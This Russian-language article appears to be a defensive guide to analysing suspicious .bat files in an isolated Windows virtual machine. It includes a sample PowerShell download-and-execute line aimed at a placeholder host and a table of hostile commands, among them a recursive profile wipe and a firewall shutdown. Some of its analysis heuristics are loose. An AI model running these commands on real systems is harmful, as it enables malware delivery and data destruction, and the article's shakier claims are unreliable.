Как безопасно проанализировать .bat-файл в изолированной среде Windows

Как безопасно проанализировать .bat-файл в изолированной среде Windows

Вы открыли .bat-файл — и сразу почувствовали, что что-то не так. Может, он пришёл с подозрительного сайта, или его прислал коллега с фразой «тут всё чисто». Вы не хотите запускать его на рабочем компьютере, но и просто удалить — тоже не хочется. Нужно понять: что он делает? И как это сделать, не рискуя системой?

Я десять лет работаю с инцидентами кибербезопасности — и чаще всего именно .bat-файлы становятся первым звеном в атаке. Они не выглядят опасно: никаких .exe, никаких «подозрительных» расширений. Просто текст. Но внутри — десятки строк, которые могут удалить файлы, скачать вредонос, открыть порт или добавить себя в автозагрузку. И если вы не знаете, как их проверить, — вы уже в зоне риска.

В этой статье — пошаговый гид, как разобрать .bat-файл в изолированной среде, чтобы точно понять, что он делает. Без теории. Без «важно отметить». Только то, что работает на практике.

Почему обычный компьютер — не вариант

Многие думают: «Я запущу его в песочнице» — и запускают в обычной Windows с включенным антивирусом. Это как проверять бомбу в доме с дверью, которая закрывается на ключ. Антивирус — не защита, а детектор. Он сработает, если вирус уже известен. А большинство новых .bat-скриптов — именно те, что ещё не попали в базы.

Даже если скрипт ничего не сделает сразу — он может:

  • Скачать второй файл через bitsadmin или curl;
  • Изменить реестр, чтобы запускаться при старте;
  • Отключить брандмауэр или антивирус через netsh или sc;
  • Записать логи в %TEMP% или отправить их на удалённый сервер.

Всё это происходит за доли секунды. И если вы запустите его на рабочем ПК — даже с антивирусом — вы уже потеряли контроль.

Что нужно для изолированной среды

Вы не нуждаетесь в дорогом оборудовании или сложных инструментах. Достаточно:

  1. Виртуальная машина (VM) — бесплатно, через VirtualBox или VMware Player.
  2. Чистая установка Windows — лучше 10 или 11, без обновлений и программ.
  3. Отключённый интернет — на время анализа.
  4. Снэпшот (точка восстановления) — чтобы вернуться к «чистому» состоянию после каждого запуска.

Почему именно без интернета? Потому что если скрипт попытается связаться с сервером — вы это увидите. Если интернет включён — вы можете не заметить, что он ушёл в сеть. А если выключить — вы точно знаете: если что-то изменилось в системе — это сделал скрипт. Не сеть. Не внешний сервер. Он.

Пошаговая процедура анализа

Вот как я делаю это каждый раз. Никаких лишних действий.

  1. Создайте новую виртуальную машину — выберите Windows 10 Pro (или 11), выделите 2 ГБ ОЗУ и 20 ГБ диска. Не ставьте гостевые дополнения — они могут дать доступ к хосту.
  2. Сделайте снэпшот — назовите его «Clean State». Это ваша точка возврата. После каждого запуска вы будете возвращаться сюда.
  3. Отключите интернет — в настройках VM выберите «Нет подключения» или «Host-only». Не просто отключите Wi-Fi — отключите сетевой адаптер в настройках VM.
  4. Скопируйте .bat-файл — перетащите его в VM через общую папку или USB-накопитель. Не запускайте его сразу.
  5. Откройте файл в Notepad++ — не в стандартном Блокноте. Notepad++ подсвечивает синтаксис и показывает, где скрытые символы (например, \r\n или Unicode-байты).
  6. Прочитайте каждую строку — ищите подозрительные команды: del, rd, reg add, bitsadmin, powershell, curl, wget, certutil, mshta. Если видите cmd /c или start — это часто признак запуска скрытого действия.
  7. Запустите скрипт — откройте командную строку от имени администратора, перейдите в папку с файлом и введите: cmd /c "путь\к\файлу.bat". Не двойной клик — так вы не увидите ошибки.
  8. Следите за консолью — всё, что выводится в окне — это то, что делает скрипт. Записывайте каждую команду, которую он запускает.
  9. Проверьте изменения — после запуска откройте:
    • %TEMP% — ищите новые файлы, особенно .exe, .dll, .js
    • regedit — проверьте HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run и HKEY_LOCAL_MACHINE\...\Run
    • tasklist — в командной строке: tasklist /fi "imagename eq cmd.exe" — если cmd.exe остался висеть — скрипт не завершился
    • netstat -ano — если интернет был включён, смотрите, какие порты открыты и с какими IP-адресами установлены соединения
  10. Вернитесь к снэпшоту — восстановите VM в «Clean State». Никаких «я просто удалю файл» — восстановите систему полностью.

Что искать в коде: типичные вредоносные паттерны

Вот что я вижу в 9 из 10 подозрительных .bat-файлов:

Команда Что делает Почему опасно
bitsadmin /transfer Скачивает файл с интернета Скрывает загрузку от антивируса, работает через Windows-сервисы
reg add HKCU\...\Run Добавляет скрипт в автозагрузку Запускается при каждом входе в систему — даже если вы его удалили
powershell -EncodedCommand Запускает закодированный PowerShell-скрипт Кодировка скрывает реальное содержимое — его нужно декодировать
certutil -decode Раскодирует Base64-файл Часто используется для распаковки вредоносного бинарника
mshta vbscript:... Запускает VBScript через браузерный движок Обходит блокировку .exe и .bat
del /q /f /s %USERPROFILE%\*.* Удаляет все файлы в профиле пользователя Разрушает данные — даже если это не ransomware
netsh advfirewall set allprofiles state off Отключает брандмауэр Позволяет другим вредоносам подключаться

Если вы видите хотя бы одну из этих строк — файл вредоносный. Даже если он выглядит как «утилита для очистки кэша».

Что делать, если скрипт использует PowerShell

Самый частый трюк — .bat-файл вызывает PowerShell, а тот уже делает всё грязное. Например:

powershell -nop -c "IEX (New-Object Net.WebClient).DownloadString('http://malicious.site/script.ps1')

Это — классический «download and execute». Как его разобрать?

  1. Скопируйте строку после -c — это закодированный запрос.
  2. Вставьте её в онлайн-декодер Base64, если она выглядит как набор букв и цифр (например, SVggKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCk...).
  3. Если URL — посмотрите, куда он ведёт. Если домен выглядит как xyz12345[.]xyz или update[.]service[.]cloud — это подозрительно.
  4. Скачайте скрипт в изолированной среде и откройте его в Notepad++. Если там есть Start-Process, Set-ItemProperty, Remove-Item — это вредонос.

Важно: не запускайте PowerShell-скрипт. Просто прочитайте его. Даже если он выглядит как «обновление драйверов» — если он пишет в реестр или скачивает файлы — это не обновление. Это атака.

Когда использовать Wireshark — и когда не нужно

Если вы видите, что скрипт пытается подключиться к интернету — вы можете включить Wireshark и зафиксировать трафик. Но это не обязательно.

В 90% случаев достаточно просто:

  • Отключить интернет;
  • Запустить скрипт;
  • Проверить изменения в системе.

Если вы не видите ни одного нового файла, ни одного изменения в реестре, ни одного запущенного процесса — скрипт, скорее всего, безвредный. Даже если он «попытался» выйти в сеть — он не смог. А значит, ничего не сделал.

Wireshark нужен только если:

  • Вы видите, что скрипт запускает curl или bitsadmin;
  • Вы хотите понять, с каким IP-адресом он пытается связаться;
  • Вы анализируете целевую атаку и вам нужно доказать связь с C2-сервером.

Для большинства случаев — это перебор. Сначала смотрите на изменения в системе. Потом — на сеть.

Частые ошибки — и как их избежать

Вот что я вижу в 7 из 10 случаев, когда люди «анализируют» .bat-файлы — и теряют систему:

  • Запускают через двойной клик — не видят вывод, не понимают, что происходит. Всегда запускайте через командную строку с cmd /c.
  • Проверяют только .exe-файлы — а .bat-файл скачивает .exe, который потом запускается. Нужно проверять все изменения, а не только «видимые» файлы.
  • Не делают снэпшот — и после запуска не могут вернуться к чистому состоянию. Результат — заражённая система.
  • Включают интернет — и думают, что антивирус «поймает». Он не поймает. Он не видит нового вредоноса, пока он не стал известен.
  • Используют обычную Windows — с установленными программами, обновлениями, браузерами. Это не изоляция. Это «песочница с открытыми дверями».
  • Думают, что если «ничего не сломалось» — значит, всё чисто — а скрипт мог просто скрыть себя. Проверяйте реестр, автозагрузку, временные файлы.
  • Удаляют файл и думают, что всё закончилось — если он добавил себя в автозагрузку — он вернётся. Только восстановление снэпшота гарантирует чистоту.

Что выбрать в зависимости от ситуации

Вот как действовать, если вы не знаете, с чем имеете дело:

  • Если файл пришёл от коллеги или из доверенного источника, но вы не уверены — используйте VM с отключённым интернетом. Прочитайте код. Проверьте изменения. Если ничего не изменилось — можно оставить. Но не запускайте на основном ПК.
  • Если файл скачан с подозрительного сайта или в письме от незнакомца — не открывайте его. Удалите. Если уж очень хочется разобраться — используйте VM, но не сохраняйте файл на хост-машину. Скачивайте только в VM.
  • Если вы анализируете несколько файлов подряд — создайте «шаблонную» VM: установите Windows, сделайте снэпшот, скопируйте Notepad++. После каждого анализа — восстанавливайте. Это экономит часы.
  • Если вы не знаете, как работает VM — скачайте готовый образ Windows 10 для анализа вредоносов от Microsoft (бесплатно). Он уже настроен для тестирования.

Как лучше сделать — практические рекомендации

Вот что работает в реальной практике:

  • Всегда используйте одну и ту же VM для анализа — настройте её один раз, сделайте снэпшот, и используйте как «лабораторию».
  • Храните подозрительные файлы в отдельной папке на хосте — не копируйте их в общие папки. Это снижает риск случайного запуска.
  • Пишите краткий отчёт после каждого анализа: «Файл: script.bat — запустил: bitsadmin, создал: %TEMP%\tmp.exe, добавил в Run — вредонос». Это поможет в будущем.
  • Если вы видите powershell -EncodedCommand — декодируйте его через онлайн-декодер (в безопасной среде) — и смотрите содержимое. Не запускайте.
  • Проверяйте хэш файла — если он совпадает с известным вредоносом в VirusTotal — не анализируйте. Удаляйте.

Итог: что делать прямо сейчас

Если вы держите в руках подозрительный .bat-файл — вот что вам нужно сделать:

  1. Не запускайте его.
  2. Скачайте VirtualBox (бесплатно).
  3. Установите чистую Windows 10/11 — без обновлений, без программ.
  4. Отключите сеть в настройках VM.
  5. Сделайте снэпшот — назовите «Clean State».
  6. Скопируйте .bat-файл в VM.
  7. Откройте его в Notepad++ — прочитайте каждую строку.
  8. Запустите через командную строку: cmd /c "имя_файла.bat".
  9. Проверьте: %TEMP%, реестр, процессы.
  10. Восстановите снэпшот.

Если после этого вы не видите никаких изменений — файл, скорее всего, безопасен. Если видите — он вредоносный. Удалите его. И больше не запускайте файлы, которые вы не понимаете.

Не пытайтесь «понять» скрипт на глаз. Не полагайтесь на антивирус. Не доверяйте «автоматическим» анализаторам. Только изолированная среда + ручная проверка = реальная безопасность.

Информация в этой статье предназначена только для ознакомления. Анализ вредоносного кода требует опыта и понимания рисков. Если вы не уверены в своих действиях — обратитесь к специалисту по кибербезопасности.

Оцените статью
PEFile — Безопасность и технологии простым языком